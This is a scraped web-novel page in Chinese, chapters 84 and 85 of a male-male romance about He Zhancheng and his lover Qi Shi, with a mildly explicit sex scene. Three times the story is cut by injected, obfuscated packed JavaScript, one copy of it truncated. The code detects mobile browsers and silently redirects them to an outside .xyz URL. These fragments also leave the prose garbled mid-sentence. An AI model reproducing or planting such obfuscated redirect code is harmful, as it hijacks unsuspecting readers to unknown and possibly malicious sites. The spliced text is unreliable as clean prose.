;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852691|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有原则的一位富家公子哥儿,他要求约书亚必须做他的男朋友,他才愿意献出他珍藏多年的处男之身,何湛程无所谓地笑,说,他没喜欢他到那种份儿上,洛斯愿意就脱裤子趴下挨操,不乐意就别影响他干别人,很快,在何湛程和投行那帮金融精英们混得昏天黑地的时候,洛斯伤心欲绝彻底离开了,何湛程男男女女老的嫩的全吃一个遍了,也不差他这一口。 “洛斯——” 快八点了,何湛程饿得头都要昏过去了。 他懒得顾忌陈年旧情,直接起身开口赶人:“我送送你吧。” 洛斯脸上闪过几分尴尬,犹豫着站起身,来回搓着双手,望着他深情道:“你回来以后,变化很大。” 何湛程臭屁一撩头发:“变更帅了?” 洛斯脸上一红,点点头:“是,更帅了,而且,你家里也没有男人或者女人了,很干净,也很温馨。” 何湛程淡淡一笑。 洛斯被对方温柔的笑容迷得心脏扑通跳。 他鼓起勇气,正要开口争取,没料对方突然来一句: “因为我结婚了。” 洛斯险些惊掉下巴:“What?!” 何湛程姿态端庄地紧了紧衬衫领口,下巴一抬,开始一本正经胡说八道:“闪婚,对方是中国人,双方家长都认可过了,婚礼是在墨西哥办的,他很好,皮肤白,会打扮,漂亮又贤惠,还会自己吃饭喝水和洗澡,结婚不到一年,他就给我生了九个孩子。” 洛斯目瞪口呆。 大脑被这荒谬信息冲击过度,缓了十秒才反应过来,幽怨地望他一眼:“你骗我。” 何湛程两手插兜,下巴冲门口一抬,笑道:“走吧,我送你。” 洛斯想走螺旋式楼梯,因为可以多磨蹭一会儿,何湛程直接不客气拽着他衣领,把人给拖到电梯里去。 然后两眼直勾勾盯着对方,直言挑明,他真的有在追求的人了。 “鉴于未来你我会有很大概率要合作,所以,别逼我现在和你翻脸。” “知道了。”洛斯被迫举手投降。 外面似乎还在下雪,寒风一阵阵吹,二人到达客厅,屋内壁炉里燃着温暖的火焰,旁边木质橱柜摆台上,放着一个和整排雕塑艺术品十分不相称的另类摆件: 一颗很普通的水晶球,圣诞老人正在滑着雪橇向山下村庄里冲刺着,后面甚至还折叠起个红色礼品袋,充当喜庆的圣诞背景。 洛斯好奇地瞟了眼,见袋子上还有中文,正要问约书亚那上面写得什么,对方的管家走上前来,恭敬递给他一把伞,请他路上慢点,注意安全。 “开车来的?”何湛程问。 “嗯,停在大道上了,”洛斯问,“你要送我到那儿吗?” “这次先不了,”何湛程笑,“我怕冷。” 话虽这么说,何湛程随手拿了件貂披身上,和人有一搭没一搭地聊着,把洛斯送出院门。 也就几步路的距离。 洛斯替二人打着伞,正兴高采烈地和对方谈论起自己这两年在交易所忙碌充实的实习生活,料定约书亚有兴趣听他多聊几句市场内幕交易和工作趣事,便见对方突然脚步一顿,愣住了。 “约书亚?”洛斯也愣了下,然后沿着对方发怔的目光,扭头朝门口看去。 隔着一道漆黑栅栏大铁门,一个目测一米九的高大男人,发型潮流帅气,宽肩长腿身姿笔挺,穿件黑色毛呢大衣,脖子里缠着条灰羊绒围巾,皮鞋踩在雪地里,英俊白皙。他左手抱着一大捧露珠晶莹的玫瑰花,那绽放的花朵几乎将他整个胸膛淹没,右手稳稳地撑着一把黑伞,正沉眸站在别墅外,目光深邃,一动不动地盯着他们。 “Wow!”洛斯忍不住一声惊叹,忙转头询问:“他是你的朋友吗?” 何湛程怔愣表情刹那间转化为一脸陶醉,冲门外人痴笑道:“No!That''s my wife.” 84.第84章 洛斯走了。 男人深眸冷峻,站在原地望他一会儿,然后缓缓冲他张开双臂。 “过来。” 何湛程再忍不住,一下子跑去过扑到戚时怀里,将人抱得紧紧的。 “你来看我了,”他埋脸在对方肩窝,忍不住掉泪,又笑又哭,“这么远的路,谢谢你来看我。” 戚时撑伞遮住二人头顶,拿捧花的手揽住怀里人的腰,低头为他吹去头发上的雪。 他嘴唇落在对方冰凉的额角,心疼道:“哭什么?” 一秒心疼完,又冷哼一声:“刚才那个小白脸是谁?” 何湛程将眼泪蹭在他大衣上,解释道:“我同学,他叫洛斯,来看果果的。” 戚时笑声呵呵:“你俩同打一把伞,那小子俩眼珠子都上上下下舔了你好几遍了,你当老子傻?” 何湛程仰起头,脸上挂着泪痕,眨眼冲他顽皮地笑:“那你呢?你要不要也舔舔我?” 戚时不太自然地别过脸清咳一声:“等、等晚上再说。” 何湛程笑起来,双手捧着戚时的脸颊,用掌心帮他暖着:“放心,不管谁来,我都不会理他们的。” 戚时忽然扭回头,上下打量他一眼。 何湛程挑眉问:“怎么了?” 戚时嘴角翘起,好奇问:“湛程,你怎么穿着覃倪的衣服?” 何湛程忙抽回手,有点无措地拢了下裹在身上的紫貂,尬笑道:“同、同款,可能是同款吧,哈哈。” 戚时不客气拆穿:“这是高定,你衣服毛毛里的香水味也一样,你当老子傻?” “不傻,不傻,哈哈哈!走吧,外面好冷,我们快进屋吧!” 何湛程接过戚时手里捧花,挽着对方手臂往里走。 戚时不依不饶道:“你给我解释解释,动手术第八天,你不在床上好好躺着,乱跑什么?” “你见过哪个人刚做完心脏手术就去坐飞机的?还一坐十多个小时?你以为自己是超人吗?这就是你的美式精神?咱们当时都分手了吧?你不要命了吗?你劝别人珍惜生命,自己的生命就不珍惜了是吗?” “还有你那胸,怎么那么大?充气的?绷带还是胸垫?呵呵,绷带吧!那么硬!你身边那么多人都是干什么吃的!还有宋演,果真人如其名,他就领着一帮人陪着你一起演,都不知道拦着你点儿?!” 身边人的嗓门越来越大,最后一句直接用吼的,何湛程装聋作哑听不见。 领着人进来客厅,将捧花递给来侍候的佣人,然后脱下外套挂架子上。 戚时说得口干舌燥,愤愤收起伞,环顾四望着,问伞筒在哪儿。 管家走过来接过,和他对视一眼,立刻操着一口流利的中文:“交给我吧。” 戚时冲他点了下头:“多谢。” 何湛程介绍道:“二哥,这是罗文,我的新管家。” 又对罗文招了下手,介绍道:“这位是戚先生,我跟你讲过的,他今晚上留在这儿住。” 罗文脸上绽出笑容,应道:“是。” 戚时笑道:“多有叨扰,我会多住几天,麻烦了。” 何湛程诧异扭头:“你……” 戚时低头解着围巾,说:“马上就要过年了,不能留你一个人在外面,我知道你不想见你家里人,但你爸躺在医院,情况越来越不好,哪怕是装的兄友弟恭,你也得回去吃个团圆饭,让他老人家放心。” 何湛程伸手接过他围巾,不太情愿道:“你当我爸心里不清楚么?他胸怀大得很,才不在乎这些。” “心里清楚是一回事,眼见为实是另一回事。” “你也站他们那边。” “利益问题上,我站我自己这边;私人感情上,我站汪汪汪这边。” “谁是汪汪汪?” “谁揪我围巾毛毛,谁就是汪汪汪。” 何湛程揪着围巾毛毛的手指一停,抿唇憋着笑,瞪他一眼:“上次见面你都没戴,我以为你不喜欢,回来以后郁闷了好几天呢。” 戚时展眉一笑,手掌摸了下他头:“上次是上次,这次不是戴了吗?” 何湛程瞅他:“那上次为什么不戴?” 戚时一顿,说:“上一次,我以为自己接的是客人。” 何湛程心口一紧,忍不住问:“那,这一次呢?” 戚时沉眸与他深深对视,手指捏住他下巴,蓦地一抬,嗓音磁性喑哑:“这一世,老子要夺回属于我的一切。” 何湛程:“……” 饭间,戚时回头指了下橱柜,问:“覃倪,你为什么把机场餐厅的赠品摆在一排半身像雕塑中间啊?” 何湛程一脸淡然地剥着大虾,嘴硬道:“我再说一遍,我不是他。” 戚时一笑,点点头:“随你。那你为什么摆个那玩意儿?怪突兀的。” 何湛程有意让人内疚,故意哼道:“因为这是你送我的第一个圣诞节礼物啊,就算是垃圾,我也要摆在C位啊。” 戚时“哦”一声,好奇问:“那你怎么没把折扣卡摆上去?你得摆齐了才行啊!” 何湛程蹭地一下就上火了,瞪他:“你找打是不是?” 戚时笑出来,手指揪揪他耳朵,哄他:“乖,明年送你个好的。” 何湛程轻哼一声,忍不住撒娇:“你少拿哄情妇的那套应付我。” 说完,等半晌,空气寂静无比,何湛程愣愣的,对方依旧望着他笑。 戚时逗弄小狗般,抬手薅两把他头发,温声说:“吃饭吧,不是早就饿了吗?” 没承认也没否认。 何湛程有点儿懵。 在戚时眼里,自己和他曾经那些受宠的情妇毫无区别。 喜欢也是喜欢,甚至还残留着几分旧时真切的爱意,只享受二人之间的暧昧,不做承诺,不确立关系。 他的二哥重新接受他以后,给了他一个很新颖的身份: 情夫。 他可以喊戚时“二哥”,戚时会应,但戚时再也不会叫他“乖崽儿”,也不会对他做太出格的亲密行为。 在他说话时,戚时会捏他一下脸,揪他耳朵,牵他手,搂腰,氛围好的时候,戚时还会摸他屁股和腿,但不会突然亲昵地凑过来,像喝多了的醉鬼一样,红着脸对他表白一句“程儿,我爱你”,不会说“乖崽儿,和我一辈子都在一起吧”,不会再将他强制摁在怀里放肆地侵占,不会拼命地讨好他,更不会再那般用力地爱他。 他们是这样亲密又疏离的关系。 何湛程其实早有预感。 那晚去戚时公寓的路上,他随口提起,问戚时怎么没戴他送他的那条沉香手串? 他知道戚时本身也很喜欢那珠子,尤其行走生意场,腕上戴一个有价无市的古董,比戴劳力士更有面子。 戚时一脸漫不经心地打着方向盘,直言回复两个字:“不想。” 不想。 不想什么? 不想回到过去,不想反复回忆起爱上一个人究竟有多么痛苦;不想自己再变成卑微讨好却遭人弃之如履的窝囊样子;不想再看到心爱之人分明躺在自己的怀里,赤身裸|体却遍布着另一个男人疯狂的吻痕;不想再因为一个永远长不大的小孩、因为一个随意把自己生命当儿戏的心脏病患者,一次又一次陷入深深的担忧和内疚!不想再为一个玩弄自己感情的混蛋辗转反侧夜不能寐!不想再患得患失!不想再委屈流泪!不想再为这些情爱再作践自己!!! 还有—— 不想认识他何湛程。 何湛程深呼吸一口气,将剥好的一碗虾仁推到戚时手边,冲人笑道:“你吃吧。” 戚时诧异看他一眼,似乎没想到他这么温顺。 何湛程笑嘻嘻举了下有些油腻的脏手:“你先吃,我去趟洗手间!” 没关系,没关系。 情夫怎么了? 情夫也是夫。 夫,那就是“大丈夫”的夫! 换言之,他就是戚时的丈夫! 镜子里倒映着一个英俊高大的男人,浅蓝色的棉绒衬衫,袖口捋到肘间,露出筋腱有力的小臂,领口却紧紧束起。 他削瘦的肩膀一颤一颤的,哭得泣不成声。 何湛程低埋着头,双手撑在盥洗池边沿,攥得骨节发白。 没关系,真的没关系。 他自认一向乐观坚强。 吃完饭,将近十点。 果汁儿睡醒了,听到楼下动静,火箭一般沿着楼梯窜下来,扑倒戚时脚边一个劲儿的扒拉他。 这是亲主人,它诉苦似的,使劲儿摇头晃脑冲着老爸汪汪叫,连管家佣人们都吓一跳。 不知道的,还以为他们亏待它了。 不过果汁儿跟在何湛程身边时,虽然亲近,却像个跟着继父的孩子,撒娇更多一些,鲜少粗着嗓子大声叫唤,跟在戚时身边就要放肆许多,想疯跑就疯跑,想狂吠就狂吠,可见戚时之前有多骄纵它。 戚时也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863460|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不禁眼尾泛泪,手掌捋顺着果汁儿浑身光泽靓丽的毛,一脸心疼地望着闺女毛茸茸的大肥脸蛋子,感慨道:“我们公主受苦了。” 果汁儿摇着尾巴,拱头蹭他裤脚:“汪!汪汪汪!” 何湛程抱臂靠在一旁楼梯围栏,心里一阵接着一阵泛起醋味。 两个人重新再见面的时候,戚时都没说哭呢。 罗文悄声走过来,试探问:“何先生,我是给戚先生安排客房,还是?” 何湛程发怔地望着饭桌旁欢乐重聚的一人一狗。 他如果也是果汁儿就好了,不管果汁儿犯什么错误,戚时都绝对会无条件原谅。 罗文提醒:“何先生?” 何湛程回过神儿,挥挥手:“给他准备一间宽敞舒适的客房吧,但他这几天住我房间。” 这就是今后戚先生会经常来住的意思了。 罗文颔首退下:“明白。” 戚时没带行李,飞机一落地,打了辆出租就来了,鲜花和雨伞也是现买的。 戚时颇为得意地告诉何湛程,他为来这一趟,专门找老师突击了将近一个月的英语,不仅日常交流没问题,哪怕是趁热打铁去考个雅思托福,他都能分分钟拿下。 何湛程由衷敬佩此人强悍的学习能力。 戚时本身是有底子在的,但就为了探个亲,白天工作晚上学习的,难免辛苦。 而且,他就是为了不让戚时感到不自在,才专门找了会说中文的管家。 这话说出来太伤人自尊心,何湛程最终对有点小骄傲的戚时同学竖起大拇指,大声称赞:“Excellent!” 然后走去衣帽间,拿出睡衣给他。 戚时穿他的日常衣服会有点紧,但睡衣宽松,加上二人身高相仿,戚时穿起来很合身。 “一起洗么?”戚时看见浴室里面有个双人大浴缸,站在门口扭头叫他。 “不一起。”何湛程将窗帘拉得严丝合缝,转身弯腰铺着新床单,头也不回地答。 “喂,”戚时没好气地笑,“干嘛这么冷淡?搞得好像我在强迫你一样,不是你让我进来睡的吗?” “没有,”他咽了咽喉咙,勉强笑道,“两个人的话……时间耽误得太久,我待在里面胸口会闷。” “哦,我忘记你身体不好了,”戚时有点尴尬地挠挠后脑勺,看他一眼,“那什么,我先去洗了。” “嗯。” 关上门,门里门外,各自都有些扫兴。 不知何时,那火一般炽热狂放的激情消褪不见,他与他之间,竟然会存在客套的话语、谨守的分寸,哪怕下一秒是要上床,他们似乎也只是在完成一场没有感情只有需求的交|媾。 何湛程不想变成那种令人“没性致”的人。 浴室里,戚时正哗啦啦地放着水,手机还播放着舒缓动听的钢琴曲,显然那人不是很想出来,要慢悠悠地在浴缸里泡澡。 何湛程就又变回了钟覃倪,匆匆忙忙地改扮。 他迅速跑去隔壁客房,从头到脚细致地洗完一遍澡,接着刮毛、涂香乳、剪指甲、吹头发、再涂香乳、再冲一遍澡,力求肌肤如雪吹弹可破,然后一边敷着面膜、唇膜和脚膜,一边叫来罗文和两个女佣,让他们帮他在胸前缠上绷带。 上次缠绷带,是他手术伤口裂开了,身子太虚,还硬着头皮跨国奔波,医生严肃勒令他必须要缠,然后一群护士蜜蜂出巢似的,乌泱泱全围过来在他胸膛上摸来摸去,差点把他缠得断气,这才阴差阳错地让戚时误以为那是钟覃倪的大胸肌。 这次他只为遮疤,要求他们既要缠得美观有纹理,又不能缠太多,必须是薄薄的一层,一定能让对方摸到他真正的胸肌,但也不能缠太松,如果中途掉了,他会先把罗文他们全部开除,然后一头撞死在时代广场的车流里。 最终,罗文帮他在胸前缠了三层绷带,其中一条白绷带绕过他右肩膀,绕胸膛一圈固定在左腋。 何湛程站在更衣间上周新装好的镜子前,左照一下,右照一下,嘴角一勾,挺满意。 罗文笑道:“您特别像一个光荣负伤的战士。” 何湛程轻啧一声,俯身冲镜子撩动两下头发,突然戏精上头,面色一变,沉眸望着镜子里的人,握拳在胸前,痛不欲生道:“不!爱丽丝,我只是一个为爱负伤的普通男人!” 罗文疑惑道:“爱丽丝?” 何湛程套上睡衣,潇洒转身出门,头也不回道:“《致爱丽丝》,小艾。” 85.第85章 戚时擦着头发出来,见偌大卧室空荡荡,懵了几秒,以后何湛程临阵脱逃了。 至于为什么逃…… 他搞不清楚,总觉得对方在躲着他似的。 其他事上,何湛程十分积极主动,唯有在这种事儿上,那人却一躲再躲。 不禁想到宋演说,钟覃倪出事故毁了容,身上落了疤,才不愿意以真面目见他。 疤? 他每次都仔细观察何湛程的脸,年轻姣好的容颜,剑眉星目,五官凌厉,稍一蹙眉,便显露出几分上位者的杀伐果断,短短半年,那人变得愈发有男人味儿,嗯,黑眼圈确实是深了点儿,但哪里有疤? 可宋演那一脸严肃的样子,也不像在说谎。 “二哥!” 正准备上床关灯自己睡了,闻声一回头,就见何湛程劲儿劲儿的,哗啦一下推门进来。 那人睡衣扣子没系,大肆敞着怀,露着缠着绷带的胸膛,和一截劲瘦有力的腰。 肚皮也白,手、脖子、脸,连踩在拖鞋里的脚踝都白,迈着长腿大步朝他走进来时,衣衫飘动,戚时恍然间闭了下眼,只觉一阵香风扑面而来,对方柔软温凉的唇便在自己的嘴角吻了一下。 “二哥。”那人环住他腰,仰脸笑望着他:“二哥,我好了。” 戚时睁开眼,与人四目相对。 对方明明是个风月老手,望向他的目光却总是故作清纯。 一双很明亮的眼睛,望着他眨啊眨的,小星星似的,薄红嘴唇不安分地撅起,身下若有若无地蹭着他,朝他索吻,脸上泛笑意,温柔又俏皮,引得人怦然心动。 戚时眸色愈深,咽了咽喉咙,一手缓缓揽上他后腰,另一手托起他脸庞,低头吻了上去。 “湛程,为什么这么乖?” “乖么?哼,我装的。” “那更乖了。” 先是唇的触碰,张开、吞合,鼻尖挤皱成一团,二人呼吸逐渐紊乱,抱得更紧,贴得更近,戚时渐渐忘情了,舌尖缓缓探入,对方舌头也水滑柔软如一条蛇,绵绵的,湿漉漉的,带着某种欢快兴奋的情绪,将他舌头勾缠裹住。 久违的亲热,戚时粗|喘着气,愈发停不下来,何湛程伸手臂搂住他脖子,下一瞬,双腿直接跳上他胯间,扭着腰在他腹|部上下磨蹭着。戚时被要撩得浑身起火,低声问了句“你是小妖精吗?”,怀里人没骨头似的挂在他身上,笑眯眯夹着嗓子撒娇,说“不是不是,我是你的小宝贝”,戚时闷笑一声,双手托住他小宝贝的翘臀,一个转身将人摁倒在床,整个人覆盖上去。 衣衫很轻易就扯掉了,戚时粗糙掌心上下抚摸揉弄着。 身下人低声笑着,鼻腔发出很舒服的轻哼。 “胸口还伤着?”戚时撑着身子,不敢压他太重,哑声问,“要紧么?” “我说要紧的话,”何湛程笑得迷离,抬起一只脚踩在他肩窝,挺身送上,“你就会停下来么?” “你说呢?” 戚时一把攥紧他脚踝,偏头在他小腿上吻了吻,然后俯下身,一点点侵没进去。 “我会把自己的心挖下来赔给你。” …… …… 事后,两人黏腻地抱在一起。 何湛程鼻尖冒着汗珠,枕在戚时臂间眯眼打盹,侧躺的身子微微晃动着,好像随时会倾斜出去。戚时身上也大汗淋漓,仍收拢起手臂,将怀里人紧紧扣在自己胸膛前,然后扯过被子,盖住他们腰下交|缠在一起的双腿。 何湛程意识还醒着,身上毛躁躁的,对人咕哝了句“热”。 戚时一笑,手指拨开他湿漉漉的刘海,在他额头上吻了吻,俯身过来抱他:“那我抱你去洗澡。” 何湛程霍然睁眼,反手将人手腕扣住,脸色沉下去几分:“不。” 戚时诧异:“怎么了?” 何湛程埋头抱回去,闷声说:“我想和你在一起。” 戚时掌心拍了拍他脊背,不禁失笑:“你是小狗吗,这么粘人。” 何湛程爬上来,双手捧起他的脸,问他:“那我表现好吗,主人?” 戚时笑出声来,伸手在他屁股上拍了一下:“好,非常好。” “主人~~”声音也像在摇着尾巴似的,听得人心痒痒的。 “怎么了小乖?”戚时闭着眼享受,他简直无法抗拒这样的一个程儿。 “主人要一直喜欢我哦,”小乖抬腿一跨,一屁股坐在戚时胸肌上,然后搓面团似的,双手来回搓着戚时的脸,恶狠狠威胁道,“你要是敢去和别人滚床单,我就把他们全都叼出来咬死。” “嗯嗯嗯,”戚时整颗头都快被这小子搓晕了,没好气笑道,“你这么厉害,我哪里还敢找别人。” “是么,我可是知道有好多人都在盯着你这块儿大肥肉呢。” “他们都比不上你。” “放臭屁!你、你又骗我!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865565|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >何湛程忍不住又要哭,戚时忽地攥住他要抹眼泪的手,抬眼直勾勾望着他:“湛程,你搞没了我一个蓝颜知己,你得还我一个。” “我不知道!”何湛程一听这话就要来气,愤愤冲他喊,“我不认识他!不认识他不认识他不认识他!你到底还要我再说多少遍!” “他叫钟覃倪,身高188,三围110/69/94,头发很软,胸肌很硬,喜欢穿貂,腕上戴的是和我同款的劳力士表,身上喷得是高级木兰香,人很和气,说话也很温柔。”戚时望着他:“他在我人生最失意的时候出现,又在我快好起来的时候人间蒸发,在我心里,他就像个来去无踪影的王子,缥缈又神秘,这些天,我很想他。” “何湛程,”戚时语气也犯了倔,讨债似的:“这是你欠我的,你得还。” 何湛程冷脸呵呵:“他妈的,你们就近距离接触过一次,你就能断定人家的三围?” 戚时面不改色:“没办法,天赋异禀。” 何湛程:“…………” 何湛程吸吸鼻子,瞪他一眼,说:“还就还!” 深呼吸一口气,道士做法似的,双手腾地举向上空,嘴里念念有词,“妈咪妈咪哄!”,左手画圈,右手画方,“唰”地一下,上下朝虚空抓两把,然后挥舞着手臂,凝神聚气,在绑着绷带的胸前团成一个球,自带配音“欻”!扣篮般,一股脑朝跨下人脸上摔过去。 戚时一挑眉:“?” 戚时眨眨眼,虚心求问:“请问您这是……切换了魔法频道?” 何湛程吐纳一口气,缓缓挥臂收功,说:“还给你了。” 戚时笑得胸膛震动起来:“还、还给我啥玩意儿?” 何湛程掀眼皮瞟他一眼:“你家蓝颜知己的灵魂。” 戚时噗嗤一声笑,一个翻身,将他狠狠压在身下,捧着他脸亲个没完:“你小子这么招人稀罕,老子灵魂也要,肉|体也要,好容易变得这么乖,我才不会让你跑掉。” 何湛程被人亲得笑咯咯的,轻推他一下:“那你说,你爱我。” 戚时埋在他肩窝里到处吻着,闷声笑:“我爱你。” “再说一遍。” “我爱你。” “我还要听,再说,再说!” “我爱你,我爱你,我爱你……好爱你……” 夜幕深沉,男人低哑的嗓音回荡在身下人的欢笑声里。 “何湛程,我爱你。”